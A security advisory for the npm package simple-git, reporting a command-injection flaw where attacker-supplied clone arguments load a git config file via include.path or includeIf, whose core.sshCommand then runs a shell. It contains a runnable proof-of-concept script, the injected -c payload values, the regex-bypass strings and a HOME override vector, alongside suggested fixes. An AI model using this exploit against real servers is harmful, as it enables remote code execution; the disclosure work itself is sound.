Vulnerability GHSA-g4wm-2vf7-vfgr
Summary
simple-git allows command execution through unblocked Git configuration includes
Details
Summary
An OS command injection vulnerability in git.clone() allows any application that flows attacker-influenced data into customArgs to execute arbitrary code. simple-git 3.36.0 (current latest on npm) ships without any include.path entry in the blockUnsafeOperationsPlugin denylist. Passing -c include.path=<file> via customArgs loads any local file as a gitconfig. The loaded file can set core.sshCommand (or any otherwise-denied key), and the next remote operation in the same clone executes the attacker's command.
PR #1167 (merged to main 2026-05-10, not yet released to npm) adds preventConfigBuilder('include.path', 'allowUnsafeInclude') to the denylist. The generated regex /\s*include.path/ closes the plain spelling but does not match the conditional form includeIf.<cond>.path. The variant therefore survives the upcoming release if the regex is not tightened in the same cycle.
This sits in the same denylist class as the prior incomplete-fix chain (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860, CVE-2026-28291, CVE-2026-28292). include and includeIf are not referenced in any published advisory, in any commit prior to PR #1167, or anywhere in the 3.36.0 source.
Details
Two sinks share the same root cause: the denylist is incomplete.
Sink A: published 3.36.0 has no include.path entry
packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts in the v3.36.0 tag contains no entry for include.path or includeIf.*.path. The argv parser recognises -c include.path=<file> and -c includeIf.<cond>.path=<file> as config writes, but detectVulnerableConfigWrites iterates a denylist that does not include either key. The plugin returns no vulnerability and the operation proceeds.
Sink B: pending PR #1167 regex misses includeIf
PR #1167 adds:
const preventUnsafeConfig = [
// ...
preventConfigBuilder('include.path', 'allowUnsafeInclude'),
// ...
];
preventConfigBuilder constructs a non-anchored regex from the string:
function preventConfigBuilder(config, category, message) {
const regex = typeof config === 'string'
? new RegExp(`\\s*${config.toLowerCase()}`)
: config;
return function preventCommand(key) {
if (regex.test(key)) { /* throw */ }
};
}
For 'include.path', the generated regex is /\s*include.path/. The . between include and path is a regex wildcard. The engine matches include plus exactly one arbitrary character plus path. Conditional include keys have the form includeIf.<condition>.path (includeIf.gitdir:.path, includeIf.onbranch:main.path, includeIf.hasconfig:r.u:**.path, etc.). The substring between include and path is if.<condition>:, always longer than one character. The 11-character match window cannot align and the test returns false.
/\s*include.path/.test('include.path') // true
/\s*include.path/.test('includeif.gitdir:.path') // false
/\s*include.path/.test('includeif.onbranch:main.path') // false
The argv parser at packages/argv-parser/src/argv/analyse-config.ts correctly recognises both include.path=... and includeIf.gitdir:.path=... as config writes; both yield a ConfigWrite with the lowercased key. The defect is purely in the denylist regex (after PR #1167) and in the entry being absent (before PR #1167).
Exploitation chain
-
Attacker writes a gitconfig to any path the simple-git process can read. Realistic write primitives: file upload (avatar, attachment, CI artifact, S3-mounted bucket), shared
/tmpin multi-tenant runners, log poisoning that lands[core]headers in a log path, predictable artifact paths, container volume mounts the attacker controls.[core] sshCommand = "/bin/sh -c 'id > /tmp/pwned; touch /tmp/RCE'" -
Attacker triggers
git.clone()with craftedcustomArgs. Either the URL or the customArgs flow from attacker-influenced input. This is the documented threat model ofblockUnsafeOperationsPlugin. -
cloneTaskassembles['clone', '-c', '<payload>', pathspec(url), pathspec(dst)]. -
blockUnsafeOperationsPluginrunsparseArgvandcollectWriteFlags, yielding the write.detectVulnerableConfigWritesiterates the denylist. In 3.36.0 the denylist has no entry. After PR #1167 the denylist has an entry but its regex does not matchincludeif.gitdir:.path. Either way, no vulnerability is yielded and the plugin permits the operation. -
suffixPathsPluginmoves pathspec items to the suffix. Final argv:git clone -c <payload> -- ssh://target.example/repo.git /tmp/dst. -
git clonehas its own-c/--configoption (-c <key>=<value>, --config <key>=<value>pergit clone --help), so a-cimmediately after the subcommand is honoured by clone itself. Git evaluates the include (the conditional form uses an emptygitdir:pattern that matches the current gitdir), reads/tmp/attacker.cfg, registerscore.sshCommand. -
Git invokes ssh through the configured command. Attacker's shell payload runs in the simple-git process's context.
git clone is the unique git subcommand that honours -c after itself. git fetch -c k=v, git pull -c k=v, git push -c k=v all reject the placement (those subcommands treat -c as a global option that must precede them). Since simple-git always places the subcommand at argv[0], user-controlled -c in customArgs always lands after the subcommand. Clone is the entry point for both sinks.
Secondary chain: HOME and XDG_CONFIG_HOME not in parseEnv denylist
packages/argv-parser/src/env/parse-env.ts:5-25 lists env keys removed from the spawned-process environment when sourced from git.env(...). HOME, XDG_CONFIG_HOME, and similar config-resolution keys are absent. Calling git.env({HOME: '/tmp/fake-home'}) makes git read /tmp/fake-home/.gitconfig, which the attacker controls. Same exploit primitive, parallel surface. Should be addressed in the same fix.
PoC
Reproduction from a clean install:
mkdir /tmp/sg-poc && cd /tmp/sg-poc
npm init -y
npm install [email protected]
cat > poc.js <<'EOF'
const { simpleGit } = require('simple-git');
const fs = require('fs');
fs.writeFileSync('/tmp/sg-attacker.cfg',
`[core]\nsshCommand = "/bin/sh -c 'id > /tmp/sg-id; touch /tmp/sg-pwned'"\n`);
const git = simpleGit({ baseDir: '/tmp' });
(async () => {
// Sink A: plain include.path works on published 3.36.0 (no denylist entry).
// Swap to 'includeIf.gitdir:.path=...' to demonstrate Sink B against PR #1167.
const payload = 'include.path=/tmp/sg-attacker.cfg';
try {
await git.clone(
'ssh://nonexistent.example.com/repo.git',
'/tmp/sg-rce-dst',
['-c', payload]
);
} catch (_) { /* clone fails after sshCommand has already run */ }
await new Promise(r => setTimeout(r, 500));
console.log(fs.readFileSync('/tmp/sg-id', 'utf8'));
})();
EOF
node poc.js
Output on simple-git 3.36.0:
uid=0(root) gid=0(root) groups=0(root)
Swapping the payload to 'includeIf.gitdir:.path=/tmp/sg-attacker.cfg' reproduces the same RCE on 3.36.0 and is the variant that will survive the PR #1167 release.
Impact
Pre-authentication remote code execution in any server that flows attacker-influenced data into customArgs of clone() or mirror(). simple-git is approximately 9.4M weekly downloads on npm. Affected consumer patterns:
- CI/CD systems and custom GitHub Actions / Buildkite plugins / GitLab cache helpers
- PaaS and hosting platforms that accept customer-tunable git options
- Code analyzers and security scanners that clone user-supplied repos
- Bot frameworks (Probot, GitOps controllers) that wrap simple-git
- AI agent frameworks that auto-clone repositories for analysis
- VS Code extensions, Electron tools, and dev tooling that pass options through
The chain needs one byte of attacker-writable, process-readable storage in addition to customArgs influence. In consumers where the file-write primitive is co-located with the clone trigger (single-request file upload + clone, multi-tenant CI runners with shared /tmp, agent frameworks that write per-task scratch files), this is effectively unauthenticated pre-auth RCE with AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical. The form value uses the conservative AC:H = 8.1 baseline that accounts for the separate-request case.
Distinction from prior advisories and pending fix
Reviewed the published GHSA list at steveukx/git-js/security/advisories. Two advisories are published:
- GHSA-jcxm-m3jx-f287 (CVE-2026-28291, High): generic option-parsing class addressed by the 3.32.0 refactor
- GHSA-r275-fr43-pm7q (CVE-2026-28292, Critical): case-insensitive
protocol.allowform
Neither mentions include, includeIf, or conditional includes. The terms do not appear anywhere in source files, tests, or commits in the repository at any tagged release. PR #1167 (merged to main 2026-05-10) is the first commit anywhere in the repository to reference include.path. It addresses the plain form but its regex misses the conditional includeIf.<cond>.path spelling.
The published 3.36.0 vulnerability (Sink A) is unaddressed in any released version. The pending PR #1167 (Sink B) addresses the plain key but leaves the conditional variant open. Both should land in one release.
Suggested fix
In packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts, add the plain include.path entry and ensure conditional forms are covered:
preventConfigBuilder('include.path', 'allowUnsafeInclude'),
preventConfigBuilder(/^\s*includeif[^.]*(\..+)*\.path/i, 'allowUnsafeInclude', 'include.path'),
Alternatively pre-process the key in parseAssignment to strip the if.<condition>: decoration before testing against include.path, since includeIf is semantically equivalent to include for security purposes.
Stronger, longer-term fix: invert the model. Reject any -c, --config, --config-env in customArgs unconditionally and require callers to use the typed config: option (already prefix-checked through the same plugin). Git's config namespace is open-ended; new dangerous keys land in every git release. A denylist will need new entries indefinitely.
Also extend parseEnv to drop HOME, XDG_CONFIG_HOME, and any env key that affects config-file resolution.
Related Vulnerabilities
Other vulnerabilities affecting the same packages